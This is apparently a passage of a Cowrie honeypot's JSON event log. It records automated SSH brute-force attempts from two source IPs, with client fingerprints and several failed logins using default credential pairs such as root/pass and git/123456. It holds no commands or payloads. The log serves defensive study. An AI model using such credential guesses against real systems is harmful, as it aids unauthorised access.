{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:32.200196Z","src_ip":"91.92.40.171","session":"4511d395fe6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:33.132833Z","src_ip":"91.92.40.171","session":"4511d395fe6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52860,"dst_ip":"159.203.135.109","dst_port":22,"session":"93a3879baf52","protocol":"ssh","message":"New connection: 91.92.42.133:52860 (159.203.135.109:22) [session: 93a3879baf52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:35.351536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:35.505148Z","src_ip":"91.92.42.133","session":"93a3879baf52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:35.508926Z","src_ip":"91.92.42.133","session":"93a3879baf52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":55648,"dst_ip":"159.203.135.109","dst_port":22,"session":"cca715dceb23","protocol":"ssh","message":"New connection: 91.92.40.171:55648 (159.203.135.109:22) [session: cca715dceb23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:36.315410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:36.485177Z","src_ip":"91.92.40.171","session":"cca715dceb23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:36.488835Z","src_ip":"91.92.40.171","session":"cca715dceb23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:36.954228Z","src_ip":"91.92.42.133","session":"93a3879baf52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:37.035195Z","src_ip":"91.92.40.171","session":"4511d395fe6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo","message":"login attempt [odoo18/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:37.395992Z","src_ip":"91.92.40.171","session":"cca715dceb23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:38.457230Z","src_ip":"91.92.42.133","session":"93a3879baf52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:38.619624Z","src_ip":"91.92.40.171","session":"cca715dceb23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:39.268240Z","src_ip":"91.92.40.171","session":"4511d395fe6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":55726,"dst_ip":"159.203.135.109","dst_port":22,"session":"d00bee4dbd2c","protocol":"ssh","message":"New connection: 91.92.40.171:55726 (159.203.135.109:22) [session: d00bee4dbd2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:42.062627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:42.245179Z","src_ip":"91.92.40.171","session":"d00bee4dbd2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:42.248183Z","src_ip":"91.92.40.171","session":"d00bee4dbd2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:43.135729Z","src_ip":"91.92.40.171","session":"d00bee4dbd2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52942,"dst_ip":"159.203.135.109","dst_port":22,"session":"81198083dd50","protocol":"ssh","message":"New connection: 91.92.42.133:52942 (159.203.135.109:22) [session: 81198083dd50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:43.269632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:43.275837Z","src_ip":"91.92.42.133","session":"81198083dd50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:43.361434Z","src_ip":"91.92.42.133","session":"81198083dd50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:43.637366Z","src_ip":"91.92.42.133","session":"81198083dd50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:44.287313Z","src_ip":"91.92.40.171","session":"d00bee4dbd2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:44.724940Z","src_ip":"91.92.42.133","session":"81198083dd50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":60184,"dst_ip":"159.203.135.109","dst_port":22,"session":"51c54c0ac1d7","protocol":"ssh","message":"New connection: 91.92.40.171:60184 (159.203.135.109:22) [session: 51c54c0ac1d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:47.668324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:48.007450Z","src_ip":"91.92.40.171","session":"51c54c0ac1d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:48.010813Z","src_ip":"91.92.40.171","session":"51c54c0ac1d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:48.841293Z","src_ip":"91.92.40.171","session":"51c54c0ac1d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:49.991629Z","src_ip":"91.92.40.171","session":"51c54c0ac1d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52202,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d73a509e2c4","protocol":"ssh","message":"New connection: 91.92.42.133:52202 (159.203.135.109:22) [session: 7d73a509e2c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:50.286855Z"}
{"eventid":"cowrie.session.closed","duration":58.23821568489075,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:50.521806Z","src_ip":"128.199.8.54","session":"dce7a88dd53a","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:50.593765Z","src_ip":"91.92.42.133","session":"7d73a509e2c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:50.596566Z","src_ip":"91.92.42.133","session":"7d73a509e2c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:51.648992Z","src_ip":"91.92.42.133","session":"7d73a509e2c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:53.025838Z","src_ip":"91.92.42.133","session":"7d73a509e2c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":60246,"dst_ip":"159.203.135.109","dst_port":22,"session":"865f41c2777d","protocol":"ssh","message":"New connection: 91.92.40.171:60246 (159.203.135.109:22) [session: 865f41c2777d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:53.628520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:53.632248Z","src_ip":"91.92.40.171","session":"865f41c2777d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:53.733130Z","src_ip":"91.92.40.171","session":"865f41c2777d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grok","password":"12345678","message":"login attempt [grok/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:54.038579Z","src_ip":"91.92.40.171","session":"865f41c2777d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:55.201015Z","src_ip":"91.92.40.171","session":"865f41c2777d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":49512,"dst_ip":"159.203.135.109","dst_port":22,"session":"2074e9b8b20f","protocol":"ssh","message":"New connection: 91.92.42.133:49512 (159.203.135.109:22) [session: 2074e9b8b20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:58.177727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:58.354707Z","src_ip":"91.92.42.133","session":"2074e9b8b20f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp25